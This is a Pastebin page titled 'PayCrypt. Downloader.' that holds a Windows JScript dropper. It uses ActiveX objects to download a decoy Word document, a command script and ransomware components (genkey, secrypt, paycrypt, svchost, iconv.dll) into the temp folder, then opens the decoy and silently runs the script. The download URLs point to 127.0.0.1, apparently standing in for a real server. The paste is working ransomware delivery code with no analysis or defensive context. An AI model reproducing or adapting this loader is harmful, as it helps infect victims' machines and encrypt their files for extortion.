SHARE
TWEET

PayCrypt. Downloader.

Decker82 Jul 3rd, 2014 406 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Run(c) {
  2.     WshShell.Run(c, 0, 0)
  3. }
  4.  
  5. function saveFile(c, e) {
  6.     var d = new ActiveXObject("MSXML2.XMLHTTP");
  7.     d.onreadystatechange = function () {
  8.         if (4 === d.readyState) {
  9.             var b = new ActiveXObject("ADODB.Stream");
  10.             b.open();
  11.             b.type = 1;
  12.             b.write(d.ResponseBody);
  13.             b.position = 0;
  14.             b.saveToFile(e, 2);
  15.             b.close()
  16.         }
  17.     };
  18.     d.open("GET", c, !1);
  19.     d.send()
  20. }
  21.  
  22. function CreateObject(c) {
  23.     return new ActiveXObject(c)
  24. }
  25. var WshShell = CreateObject("WScript.Shell"),
  26.     DestinationFLE = "%TEMP%\\",
  27.     DestinationFLE = WshShell.ExpandEnvironmentStrings(DestinationFLE);
  28. saveFile("http://127.0.0.1/index_files/img/word", "" + DestinationFLE + "word.doc");
  29. try {
  30.     Run("" + DestinationFLE + "word.doc")
  31. } catch (a) {}
  32. saveFile("http://127.0.0.1/index_files/img/cde", "" + DestinationFLE + "cde.cmd");
  33. saveFile("http://127.0.0.1/index_files/img/genkey", "" + DestinationFLE + "genkey.like");
  34. saveFile("http://127.0.0.1/index_files/img/secrypt", "" + DestinationFLE + "secrypt.like");
  35. saveFile("http://127.0.0.1/index_files/img/paycrypt", "" + DestinationFLE + "paycrypt.like");
  36. saveFile("http://127.0.0.1/index_files/img/svchost", "" + DestinationFLE + "svchost.like");
  37. saveFile("http://127.0.0.1/index_files/img/iconv", "" + DestinationFLE + "iconv.dll");
  38. Run("" + DestinationFLE + "cde.cmd");
  39. saveFile("http://127.0.0.1/index_files/img/DEC01", "" + DestinationFLE + "DEC01");
  40. saveFile("http://127.0.0.1/index_files/img/DEC02", "" + DestinationFLE + "DEC02");
RAW Paste Data
Top